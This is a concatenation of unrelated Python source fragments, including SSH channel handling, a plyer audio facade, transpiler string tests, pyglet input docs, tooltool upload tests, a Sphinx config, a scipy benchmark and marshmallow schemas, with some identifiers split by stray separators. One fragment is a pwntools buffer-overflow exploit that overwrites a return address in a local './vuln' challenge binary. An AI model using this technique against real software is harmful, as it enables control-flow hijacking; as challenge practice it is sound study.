if self.completion_event is not None:
self.completion_event.set()
def _parse_request_failure(self, m):
self._log(DEBUG, 'Global request denied.')
self.global_response = None
if self.completion_event is not None:
self.completion_event.set()
def _parse_channel_open_success(self, m):
chanid = m.get_int()
server_chanid = m.get_int()
server_window_size = m.get_int()
server_max_packet_size = m.get_int()
chan = self._channels.get(chanid)
if chan is None:
self._log(WARNING, 'Success for unrequested channel! [??]')
return
self.lock.acquire()
try:
chan._set_remote_channel(server_chanid, server_window_size, server_max_packet_size)
self._log(INFO, 'Secsh channel %d opened.' % chanid)
if chanid in self.channel_events:
self.channel_events[chanid].set()
del self.channel_events[chanid]
finally:
self.lock.release()
return
def _parse_channel_open_failure(self, m):
chanid = m.get_int()
reason = m.get_int()
reason_str = m.get_string()
lang = m.get_string()
reason_text = CONNECTION_FAILED_CODE.get(reason, '(unknown code)')
self._log(INFO, 'Secsh channel %d open FAILED: %s: %s' % (chanid, reason_str, reason_text))
self.lock.acquire()
try:
self.saved_exception = ChannelException(reason, reason_text)
if chanid in self.channel_events:
self._channels.delete(chanid)
if chanid in self.channel_events:
self.channel_events[chanid].set()
del self.channel_events[chanid]
finally:
self.lock.release()
return
def _parse_channel_open(self, m):
kind = m.get_string()
chanid = m.get_int()
initial_window_size = m.get_int()
max_packet_size = m.get_int()
reject = False
if (kind == 'auth-agent@openssh.com') and (self._forward_agent_handler is not None):
self._log(DEBUG, 'Incoming forward agent connection')
self.lock.acquire()
try:
my_chanid = self._next_channel()
finally:
self.lock.release()
elif (kind == 'x11') and (self._x11_handler is | not None):
origin_addr = m.get_string()
origin_port = m.get_int()
self._log(DEBUG, 'Incoming x11 connection from %s:%d' % (origin_addr, origin_port))
self.lock.acquire()
try:
my_chanid = self._next_channel()
finally:
| self.lock.release()
elif (kind == 'forwarded-tcpip') and (self._tcp_handler is not None):
server_addr = m.get_string()
server_port = m.get_int()
origin_addr = m.get_string()
origin_port = m.get_int()
self._log(DEBUG, 'Incoming tcp forwarded connection from %s:%d' % (origin_addr, origin_port))
self.lock.acquire()
try:
my_chanid = self._next_channel()
finally:
self.lock.release()
elif not self.server_mode:
self._log(DEBUG, 'Rejecting "%s" channel request from server.' % kind)
reject = True
reason = OP |
'''
Audio
=====
The :class:`Audio` is used for recording audio.
Default path for recording is set in platform implementation.
.. note::
On Android the `RECORD_AUDIO`, `WAKE_LOCK` permissions are needed.
Simple Examples
---------------
To get the file path::
>>> audio.file_path
'/sdcard/testrecorder.3gp'
To set the file path::
>>> import os
>>> current_list = os.listdir('.')
['/sdcard/testrecorder.3gp', '/sdcard/testrecorder1.3gp',
'/sdcard/testrecorder2.3gp', '/sdcard/testrecorder3.3gp']
>>> file_path = current_list[2]
>>> audio.file_path = file_path
To start recording::
>>> from plyer import audio
>>> audio.start()
To stop recording::
>>> audio.stop()
To play recording::
>>> audio.play()
'''
class Audio(object):
'''
Audio facade.
'''
state = 'ready'
_file_path = ''
def __init__(self, file_path):
super(Audio, self).__init__()
self._file_path = file_path
def start(self):
'''
Start record.
'''
self._start()
self.state = 'recording'
def stop(self):
'''
Stop record.
'''
self._stop()
self.state = 'ready'
def pl | ay(self):
'''
Play current recording.
'''
self._play()
self.state = 'playing'
@property
def file_path(self):
return self._file_path
@file_path.setter
def file_path(self, location):
'''
Location of the recording.
'''
assert isinsta | nce(location, (basestring, unicode)), \
'Location must be string or unicode'
self._file_path = location
# private
def _start(self):
raise NotImplementedError()
def _stop(self):
raise NotImplementedError()
def _play(self):
raise NotImplementedError()
|
x = "12345"
print(x[2])
""")
# Simple negative index
self.assertCodeExecution("""
x = "12345"
print(x[-2])
""")
# Positive index out of range
self.assertCodeExecution("""
x = "12345"
print(x[10])
""")
# Negative index out of range
self.assertCodeExecution("""
x = "12345"
print(x[-10])
""")
def test_slice(self):
# Full slice
self.assertCodeExecution("""
x = "12345"
print(x[:])
""")
# Left bound slice
self.assertCodeExecution("""
x = "12345"
print(x[1:])
""")
# Right bound slice
self.assertCodeExecution("""
x = "12345"
print(x[:4])
""")
# Slice bound in both directions
self.assertCodeExecution("""
x = "12345"
print(x[1:4])
""")
# Slice bound in both directions with end out of bounds
self.assertCodeExecution("""
x = "12345"
print(x[1:6])
""")
# Slice bound in both directions with start out of bounds
self.assertCodeExecution("""
x = "12345"
print(x[6:7])
""")
def test_case_changes(self):
self.assertCodeExecution("""
for s in ['hello, world', 'HEllo, WORLD', 'átomo', '']:
print(s.capitalize())
print(s.lower())
# print(s.swap())
print(s.title())
print(s.upper())
""")
def test_index(self):
self.assertCodeExecution("""
s = 'hello hell'
print(s.index('hell'))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.index('world'))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.index('hell', 1))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.index('hell', 1, 3))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.index('hell', 1, 100))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.index('hell', 1, -1))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.index('hell', -4))
""")
def test_count(self):
self.assertCodeExecution("""
s = 'hello hell'
print(s.count('e'))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.count('a'))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.count('ll'))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.count('ll', 3))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.count('ll', 3, 4))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.count('ll', 0, 4))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.count('ll', 0, 100))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.count('hell', 1, -1))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.count('hell', -4))
""")
def test_find(self):
self.assertCodeExecution("""
s = 'hello hell'
print(s.find('hell'))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.find('world'))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.find('hell', 1))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.find('hell', 1, 3))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.find('hell', 1, 100))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.find('hell', 1, -1))
""")
self.assertCodeExecution("""
s = 'hello hell'
print(s.find('hell', -4))
""")
def test_expand(self):
self.assertCodeExecution("""
print('\\t'.expandtabs())
print('a\\t'.expandtabs())
print('aa\\t'.expandtabs())
print('aaa\\t'.expandtabs())
print('aaaaaaaa\\t'.expandtabs())
print('a\\naa\\t'.expandtabs())
print('\\t'.expandtabs(3))
print('a\\t'.expandtabs(3))
print('aa\\t'.expandtabs(7))
print('aaa\\t'.expandtabs(4))
print('aaaaaaaa\\t'.expandtabs(4))
print('a\\naa\\t'.expandtabs(4))
""")
def test_title(self):
self.assertCodeExecution("""
s = ' foo bar baz '
print(s.title())
""")
def test_len(self):
self.assertCodeExecution("""
s = ' foo bar baz '
print(len(s))
""")
class UnaryStrOperationTests(UnaryOperationTestCase, TranspileTestCase):
data_type = 'str'
not_implemented = [
]
clas | s BinaryStrOperationTests(BinaryOperationTestCase, TranspileTestCase):
data_type = 'st | r'
not_implemented = [
'test_add_class',
'test_add_frozenset',
'test_and_class',
'test_and_frozenset',
'test_eq_class',
'test_eq_frozenset',
'test_floor_divide_class',
'test_floor_divide_complex',
'test_floor_divide_frozenset',
'test_ge_class',
'test_ge_frozenset',
'test_gt_class',
'test_gt_frozenset',
'test_le_class',
'test_le_frozenset',
'test_lshift_class',
'test_lshift_frozenset',
'test_lt_class',
'test_lt_frozenset',
'test_modulo_bool',
'test_modulo_bytes',
'test_modulo_bytearray',
'test_modulo_class',
'test_modulo_complex',
'test_modulo_dict',
'test_modulo_float',
'test_modulo_frozenset',
'test_modulo_slice',
'test_modulo_int',
'test_modulo_list',
'test_modulo_None',
'test_modulo_NotImplemented',
'test_modulo_range',
'test_modulo_set',
'test_modulo_str',
'test_modulo_tuple',
'test_multiply_class',
'test_multiply_frozenset',
'test_ne_class',
'test_ne_frozenset',
'test_or_class',
'test_or_frozenset',
'test_power_class',
'test_power_frozenset',
'test_rshift_class',
'test_rshift_frozenset',
'test_subscr_bool',
'test_subscr_class',
'test_subscr_frozenset',
'test_subscr_slice',
'test_subtract_class',
'test_subtract_frozenset',
'test_true_divide_class',
'test_true_divide_frozenset',
'test_xor_class',
'test_xor_frozenset',
]
class InplaceStrOperationTests(InplaceOperationTestCase, TranspileTestCase):
data_type = 'str'
not_implemented = [
'test_add_class',
'test_add_frozenset',
'test_and_class',
'test_and_frozenset',
'test_floor_divide_class',
'test_floor_divide_complex',
'test_floor_divide_frozenset',
'test_lshift_class',
'test_lshift_frozenset',
'test_modulo_bool',
'test_modulo_bytes',
'test_modulo_bytearray',
'test_modulo_class',
'test_modulo_complex',
'test_modulo_dict',
'test_modulo_float',
'test_modulo_frozenset',
'test_modulo_slice',
'test_modulo_int',
'test_modulo_list',
'test_modulo_None',
'test_modulo_Not |
# ----------------------------------------------------------------------------
# pyglet
# Copyright (c) 2006-2008 Alex Holkner
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in
# the documentation and/or other materials provided with the
# distribution.
# * Neither the name of pyglet nor the names of its
# contributors may be used to endorse or promote products
# derived from this software without specific prior written
# permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
# COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
# ----------------------------------------------------------------------------
'''Joystick, tablet and USB HID device support.
This module provides a unified interface to almost any input device, besides
the regular mouse and keyboard support provided by `Window`. At the lowest
level, `get_devices` can be used to retrieve a list of all supported devices,
including joysticks, tablets, space controllers, wheels, pedals, remote
controls, keyboards and mice. The set of returned devices varies greatly
depending on the operating system (and, of course, what's plugged in). |
At this level pyglet | does not try to interpret *what* a particular device is,
merely what controls it provides. A `Control` can be either a button, whose
value is either ``True`` or ``False``, or a relative or absolute-valued axis,
whose value is a float. Sometimes the name of a control can be provided (for
example, ``x``, representing the horizontal axis of a joystick), but often
not. In these cases the device API may still be useful -- the user will have
to be asked to press each button in turn or move each axis separately to
identify them.
Higher-level interfaces are provided for joysticks, tablets and the Apple
remote control. These devices can usually be identified by pyglet positively,
and a base level of functionality for each one provided through a common
interface.
To use an input device:
1. Call `get_devices`, `get_apple_remote` or `get_joysticks`
to retrieve and identify the device.
2. For low-level devices (retrieved by `get_devices`), query the devices
list of controls and determine which ones you are interested in. For
high-level interfaces the set of controls is provided by the interface.
3. Optionally attach event handlers to controls on the device.
4. Call `Device.open` to begin receiving events on the device. You can
begin querying the control values after this time; they will be updated
asynchronously.
5. Call `Device.close` when you are finished with the device (not needed
if your application quits at this time).
To use a tablet, follow the procedure above using `get_tablets`, but note that
no control list is available; instead, calling `Tablet.open` returns a
`TabletCanvas` onto which you should set your event handlers.
:since: pyglet 1.2
'''
__docformat__ = 'restructuredtext'
__version__ = '$Id: $'
import sys
from base import Device, Control, RelativeAxis, AbsoluteAxis, \
Button, Joystick, AppleRemote, Tablet
from base import DeviceException, DeviceOpenException, DeviceExclusiveException
_is_epydoc = hasattr(sys, 'is_epydoc') and sys.is_epydoc
def get_apple_remote(display=None):
'''Get the Apple remote control device.
The Apple remote is the small white 6-button remote control that
accompanies most recent Apple desktops and laptops. The remote can only
be used with Mac OS X.
:Parameters:
`display` : `Display`
Currently ignored.
:rtype: `AppleRemote`
:return: The remote device, or ``None`` if the computer does not support
it.
'''
return None
if _is_epydoc:
def get_devices(display=None):
'''Get a list of all attached input devices.
:Parameters:
`display` : `Display`
The display device to query for input devices. Ignored on Mac
OS X and Windows. On Linux, defaults to the default display
device.
:rtype: list of `Device`
'''
def get_joysticks(display=None):
'''Get a list of attached joysticks.
:Parameters:
`display` : `Display`
The display device to query for input devices. Ignored on Mac
OS X and Windows. On Linux, defaults to the default display
device.
:rtype: list of `Joystick`
'''
def get_tablets(display=None):
'''Get a list of tablets.
This function may return a valid tablet device even if one is not
attached (for example, it is not possible on Mac OS X to determine if
a tablet device is connected). Despite returning a list of tablets,
pyglet does not currently support multiple tablets, and the behaviour
is undefined if more than one is attached.
:Parameters:
`display` : `Display`
The display device to query for input devices. Ignored on Mac
OS X and Windows. On Linux, defaults to the default display
device.
:rtype: list of `Tablet`
'''
else:
def get_tablets(display=None):
return []
if sys.platform == 'linux2':
from x11_xinput import get_devices as xinput_get_devices
from x11_xinput_tablet import get_tablets
from evdev import get_devices as evdev_get_devices
from evdev import get_joysticks
def get_devices(display=None):
return (evdev_get_devices(display) +
xinput_get_devices(display))
elif sys.platform in ('cygwin', 'win32'):
from directinput import get_devices, get_joysticks
try:
from wintab import get_tablets
except:
pass
elif sys.platform == 'darwin':
from pyglet import options as pyglet_options
if pyglet_options['darwin_cocoa']:
from darwin_hid import get_devices, get_joysticks, get_apple_remote
else:
from carbon_hid import get_devices, get_joysticks, get_apple_remote
from carbon_tablet import get_tablets
|
#! /usr/bin/python
#should move this file inside docker image
import ast
import solution
'''driver file running the program
takes the test cases from the answers/question_name file
and executes each test case. The output of each execution
will be compared and the program outp | uts a binary string.
Eg : 1110111 means out of 7 test cases 4th failed and rest
all passed.
Resource/Time limit errors will be produced from docker container'''
#opening and parsing test cases
with open ("answer") as file: # change after develo | pment finishes
cases=file.readlines();
cases = [x.strip() for x in cases]
cases = [ast.literal_eval(x) for x in cases]
s="" #return string
number_of_cases = len(cases)/2
for i in range(number_of_cases):
if type(cases[i]) is tuple:
if cases[number_of_cases+i] == solution.answer(*cases):
s+="1"
else:
s+="0"
else:
if cases[number_of_cases+i] == solution.answer(cases[i]):
s+="1"
else:
s+="0"
print s
|
pp, client):
"""A POST to /upload of public and internal files fails with 403 if the
user only has permission to upload public files."""
batch = mkbatch()
batch['files']['two'] = {
'algorithm': 'sha512',
'size': len(TWO),
'digest': TWO_DIGEST,
'visibility': 'internal',
}
add_file_to_db(app, ONE)
resp = upload_batch(client, batch)
eq_(resp.status_code, 403, resp.data)
assert_no_upload_rows(app)
@moto.mock_s3
@test_context
def test_upload_batch_no_visibility(app, client):
"""If no visibility is supplied for a file in a batch, the request is
invalid (400)"""
# note that it's WSME that enforces this validity
batch = mkbatch()
del batch['files']['one']['visibility']
resp = upload_batch(client, batch)
eq_(resp.status_code, 400, resp.data)
assert_no_upload_rows(app)
@moto.mock_s3
@test_context
def tes | t_upload_batch_success_fresh(client, app):
"""A POST to /upload with a good batch succeeds, returns signed URLs expiring
in one hour, and inserts the new batch into the DB with links to files, but
no instances, and inserts a pending upload row."""
batch = mkbatch()
with set_time():
with not_so_random_choice():
r | esp = upload_batch(client, batch)
result = assert_batch_response(resp, files={
'one': {'algorithm': 'sha512',
'size': len(ONE),
'digest': ONE_DIGEST}})
assert_signed_url(result['files']['one']['put_url'], ONE_DIGEST,
method='PUT', expires_in=60)
assert_batch_row(
app, result['id'], files=[('one', len(ONE), ONE_DIGEST, [])])
assert_pending_upload(app, ONE_DIGEST, 'us-east-1')
@moto.mock_s3
@test_context
def test_upload_batch_success_existing_pending_upload(client, app):
"""A successful POST to /upload updates the 'expires' column of any relevant
pending uploads."""
with set_time(NOW - 30):
add_file_to_db(app, ONE, regions=[], pending_regions=['us-east-1'])
batch = mkbatch()
with set_time():
with not_so_random_choice():
resp = upload_batch(client, batch)
result = assert_batch_response(resp, files={
'one': {'algorithm': 'sha512',
'size': len(ONE),
'digest': ONE_DIGEST}})
assert_signed_url(result['files']['one']['put_url'], ONE_DIGEST,
method='PUT', expires_in=60)
assert_pending_upload(
app, ONE_DIGEST, 'us-east-1',
expires=relengapi_time.now() + datetime.timedelta(seconds=60))
assert_batch_row(
app, result['id'], files=[('one', len(ONE), ONE_DIGEST, [])])
@moto.mock_s3
@test_context
def test_upload_batch_success_no_instances(client, app):
"""A POST to /upload with a batch containing a file that already exists, but
has no instances, succeeds, returns signed URLs expiring in one hour,
inserts the new batch into the DB with links to files, but no instances,
and inserts a pending upload row. This could occur when, for example,
re-trying a failed upload."""
batch = mkbatch()
add_file_to_db(app, ONE, regions=[])
with set_time():
with not_so_random_choice():
resp = upload_batch(client, batch)
result = assert_batch_response(resp, files={
'one': {'algorithm': 'sha512',
'size': len(ONE),
'digest': ONE_DIGEST}})
assert_signed_url(result['files']['one']['put_url'], ONE_DIGEST,
method='PUT', expires_in=60)
assert_batch_row(
app, result['id'], files=[('one', len(ONE), ONE_DIGEST, [])])
assert_pending_upload(app, ONE_DIGEST, 'us-east-1')
@moto.mock_s3
@test_context
def test_upload_batch_success_some_existing_files(client, app):
"""A POST to /upload with a good batch containing some files already present
succeeds, returns signed URLs expiring in one hour, and inserts the new
batch into the DB with links to files, but no instances. Also, the
``region`` query parameter selects a preferred region."""
batch = mkbatch()
batch['files']['two'] = {
'algorithm': 'sha512',
'size': len(TWO),
'digest': TWO_DIGEST,
'visibility': 'public',
}
# make sure ONE is already in the DB with at least once instance
add_file_to_db(app, ONE, regions=['us-east-1'])
with set_time():
resp = upload_batch(client, batch, region='us-west-2')
result = assert_batch_response(resp, files={
'one': {'algorithm': 'sha512',
'size': len(ONE),
'digest': ONE_DIGEST},
'two': {'algorithm': 'sha512',
'size': len(TWO),
'digest': TWO_DIGEST},
})
# no put_url for the existing file
assert 'put_url' not in result['files']['one']
assert_signed_url(result['files']['two']['put_url'], TWO_DIGEST,
method='PUT', expires_in=60, region='us-west-2')
assert_batch_row(app, result['id'],
files=[
('one', len(ONE), ONE_DIGEST, ['us-east-1']),
('two', len(TWO), TWO_DIGEST, []),
])
assert_pending_upload(app, TWO_DIGEST, 'us-west-2')
@test_context
def test_upload_change_visibility(client, app):
"""Uploading a file that already exists with a different visibility level
fails with 400, even if there are no instances."""
batch = mkbatch()
batch['files']['one']['visibility'] = 'public'
add_file_to_db(app, ONE, regions=[], visibility='internal')
with set_time():
resp = upload_batch(client, batch, region='us-west-2')
eq_(resp.status_code, 400, resp.data)
assert_no_upload_rows(app)
@test_context
def test_upload_complete(client, app):
"""GET /upload/complete/<digest> when the pending upload has expired causes
a delayed call to check_file_pending_uploads and returns 202"""
with mock.patch('relengapi.blueprints.tooltool.grooming.check_file_pending_uploads') as cfpu:
with set_time(NOW - tooltool.UPLOAD_EXPIRES_IN - 1):
add_file_to_db(app, ONE, regions=[], pending_regions=['us-east-1'])
with set_time(NOW):
resp = client.get('/tooltool/upload/complete/sha512/{}'.format(ONE_DIGEST))
eq_(resp.status_code, 202, resp.data)
cfpu.delay.assert_called_with(ONE_DIGEST)
@test_context
def test_upload_complete_not_expired(client, app):
"""GET /upload/complete/<digest> when the pending upload has not expired returns
409 with a header giving the time until expiration."""
with mock.patch('relengapi.blueprints.tooltool.grooming.check_file_pending_uploads') as cfpu:
with set_time(NOW - tooltool.UPLOAD_EXPIRES_IN + 5):
add_file_to_db(app, ONE, regions=[], pending_regions=['us-east-1'])
with set_time(NOW):
resp = client.get('/tooltool/upload/complete/sha512/{}'.format(ONE_DIGEST))
eq_(resp.status_code, 409, resp.data)
eq_(resp.headers.get('x-retry-after'), '6') # 5 seconds + 1
eq_(cfpu.delay.mock_calls, [])
@test_context
def test_upload_complete_bad_digest(client, app):
"""GET /upload/complete/<digest> with a bad digest returns 400"""
with mock.patch('relengapi.blueprints.tooltool.grooming.check_file_pending_uploads') as cfpu:
resp = client.get('/tooltool/upload/complete/sha512/xyz')
eq_(resp.status_code, 400, resp.data)
cfpu.delay.assert_has_calls([])
@moto.mock_s3
@test_context
def test_download_file_no_such(app, client):
"""Getting /sha512/<digest> for a file that does not exist returns 404"""
resp = client.get('/tooltool/sha512/{}'.format(ONE_DIGEST))
eq_(resp.status_code, 404)
@moto.mock_s3
@test_context
def test_download_file_invalid_digest(app, client):
"""Getting /sha512/<digest> for an invalid digest returns 400"""
resp = client.get('/tooltool/sha512/abcd')
eq_(resp.status_code, 400)
@moto.mock_s3
@test_context
def test_download_file_no_instances |
ext.*') or your custom
# ones.
extensions = [
"sphinx.ext.autodoc",
"sphinx.ext.autosummary",
"sphinx.ext.intersphinx",
"sphinx.ext.coverage",
"sphinx.ext.doctest",
"sphinx.ext.napoleon",
"sphinx.ext.todo",
"sphinx.ext.viewcode",
"recommonmark",
]
# autodoc/autosummary flags
autoclass_content = "both"
autodoc_default_options = {"members": True}
autosummary_generate = True
# Add any paths that contain templates here, relative to this directory.
templates_path = ["_templates"]
# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
# source_suffix = ['.rst', '.md']
source_suffix = [".rst", ".md"]
# The encoding of source files.
# source_encoding = 'utf-8-sig'
# The root toctree document.
root_doc = "index"
# General information about the project.
project = "google-cloud-shell"
copyright = "2019, Google"
author = "Google APIs"
# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The full version, including alpha/beta/rc tags.
release = __version__
# The short X.Y version.
version = ".".join(release.split(".")[0:2])
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None
# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
# today = ''
# Else, today_fmt is used as the format for a strftime call.
# today_fmt = '%B %d, %Y'
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = [
"_build",
"**/.nox/**/*",
"samples/AUTHORING_GUIDE.md",
"samples/CONTRIBUTING.md",
"samples/snippets/README.rst",
]
# The reST default role (used for this markup: `text`) to use for all
# documents.
# default_role = None
# If true, '()' will be appended to :func: etc. cross-reference text.
# add_function_parentheses = True
# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
# add_module_names = True
# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
# show_authors = False
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = "sphinx"
# A list of ignored prefixes for module index sorting.
# modindex_common_prefix = []
# If true, keep warnings as "system message" paragraphs in the built documents.
# keep_warnings = False
# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = True
# -- Options for HTML output ----------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
html_theme = "alabaster"
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
html_theme_options = {
"description": "Google Cloud Client Libraries for google-cloud-shell",
"github_user": "googleapis",
"github_repo": "python-shell",
"github_banner": True,
"font_family": "'Roboto', Georgia, sans",
"head_font_family": "'Roboto', Georgia, serif",
"code_font_family": "'Roboto Mono', 'Consolas', monospace",
}
# Add any paths that contain custom themes here, relative to this directory.
# html_theme_path = []
# The name for this set of Sphinx documents. If None, it defaults to
# "<project> v<release> documentation".
# html_title = None
# A shorter title for the navigation bar. Default is the same as html_title.
# html_short_title = None
# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
# html_logo = None
# The name of an image file (within the static path) to use as favicon of the
# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
# html_favicon = None
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ["_static"]
# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
# html_extra_path = []
# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
# html_last_updated_fmt = '%b %d, %Y'
# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
# html_use_smartypants = True
# Custom sidebar templates, maps document names to template names.
# html_sidebars = {}
# Additional templates that should be rendered to pages, maps page names to
# template names.
# html_additional_pages = {}
# If false, no module index is generated.
# html_domain_indices = True
# If false, no index is generated.
# html_use_index = True
# If true, the index is split into individual pages for each letter.
# html_split_index = False
# If true, links to the reST sources are added to the pages.
# html_show_sourcelink = True
# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
# html_show_sphinx = True
# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
# html_show_copyright = True
# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it. The value of this option must be the
# base URL from which the finished HTML is served.
# html_use_opensearch = ''
# This is the file name suffix for HTML files (e.g. ".xhtml").
# html_file_suffix = None
# Language to be used for generating the HTML full-text search index.
# Sphinx supports the following languages:
# 'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'
# 'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr'
# html_search_language = 'en'
# A dictionary with options for the search language support, empty by default.
# Now only 'ja' uses this config value
# html_search_options = {'type': 'default'}
# The name of a javascript file (relative to the configuration directory) that
# implements a search results scorer. If empty, the default will be used.
# html_search_scorer = 'scorer.js'
# Output file base name for HTML help builder.
htmlhelp_basename = "google-cloud-shell-doc"
# -- Options for warnings ------------------------------------------------------
suppress_warnings = [
# Temporarily suppress this to avoid "more than one target found for
# cross-reference" warning, which are intractable for us to avoid while in
# a mono-repo.
# See https://github.com/sphinx-doc/sphinx/blob
# /2a65ffeef5c107c19084fabdd706cdff3f52d93c/sphinx/domains/python.py#L | 843
"ref.python"
]
# -- Options for LaTeX output ---------------------------------------------
latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#'papersize': 'letterpaper',
# | The font size ('10pt', '11pt' or '12pt').
#'pointsize': '10pt',
# Additional stuff for the LaTeX preamble.
#'preamble': '',
# Latex figure (float) alignment
#'figure_align': 'htbp',
}
# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
# author, documentclass [howto, manual, or own class]).
latex_documents = [
(
root_doc,
"google-cloud-shell.tex",
"google-cloud-shell Documentation",
author,
"manual",
)
]
# The name of an image file (relative to this directory) to place at the top of
# the title page.
# latex_logo = None
# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
# latex_use_parts = False
# If true, show page refere |
import re
import numpy as np
from scipy import special
from .common import with_attributes, safe_import
with safe_import():
from scipy.special import cython_special
FUNC_ARGS = {
'airy_d': (1,),
'airy_D': (1,),
'beta_dd': (0.25, 0.75),
'erf_d': (1,),
'erf_D': (1+1j,),
'exprel_d': (1e-6,),
'gamma_d': (100,),
'gamma_D': (100+100j,),
'jv_dd': (1, 1),
'jv_dD': (1, (1+1j)),
'loggamma_D': (20,),
'logit_d': (0.5,),
'psi_d': (1,),
'psi_D': (1,),
}
class _CythonSpecialMeta(type):
"""
Add time_* benchmarks corresponding to cython_special._bench_*_cy
"""
def __new__(cls, cls_nam | e, bases, dct):
params = [(10, 100, 1000), ('python', 'numpy', 'cython')]
param_names = ['N', 'api']
def get_time_func(name, args):
@with_attributes(params=[(name,), (args,)] + params,
param_ | names=['name', 'argument'] + param_names)
def func(self, name, args, N, api):
if api == 'python':
self.py_func(N, *args)
elif api == 'numpy':
self.np_func(*self.obj)
else:
self.cy_func(N, *args)
func.__name__ = 'time_' + name
return func
for name in FUNC_ARGS.keys():
func = get_time_func(name, FUNC_ARGS[name])
dct[func.__name__] = func
return type.__new__(cls, cls_name, bases, dct)
class CythonSpecial(metaclass=_CythonSpecialMeta):
def setup(self, name, args, N, api):
self.py_func = getattr(cython_special, '_bench_{}_py'.format(name))
self.cy_func = getattr(cython_special, '_bench_{}_cy'.format(name))
m = re.match('^(.*)_[dDl]+$', name)
self.np_func = getattr(special, m.group(1))
self.obj = []
for arg in args:
self.obj.append(arg*np.ones(N))
self.obj = tuple(self.obj)
|
# -*- coding: utf-8 -*-
# This exploit template was generated via | :
# $ pwn template ./vuln
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./vuln')
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
e | lse:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
break *0x{exe.symbols.main:x}
continue
'''.format(**locals())
io = start()
payload = cyclic(76)
#payload = 'A'*64
payload += p32(0x80485e6)
io.sendline(payload)
io.interactive()
|
"""Request/Response Schemas are defined here"""
# pylint: disable=invalid-name
from marshmallow import Schema, fields, validate
from todo.constants import TO_DO, IN_PROGRESS, DONE
class TaskSchema(Schema):
"""Schema for serializing an instance of Task"""
id = fields.Int(required=True)
title = fields.Str(required=True)
description = fields.Str(required=True)
status = fields.Str(
required=True,
validate=validate.OneOf(
choices=[TO_DO, I | N_PROGRESS, DONE],
error="Status must be one of {choices} (given: {input})"))
number = fields.Int(required=True)
created_at = fields.DateTime(required=True)
updated_at = fields.DateTime(required=True)
class BoardSchema(Schema):
"""Schema for serializing an instance of Board"""
id = fields.Int(required=True)
na | me = fields.Str(required=True)
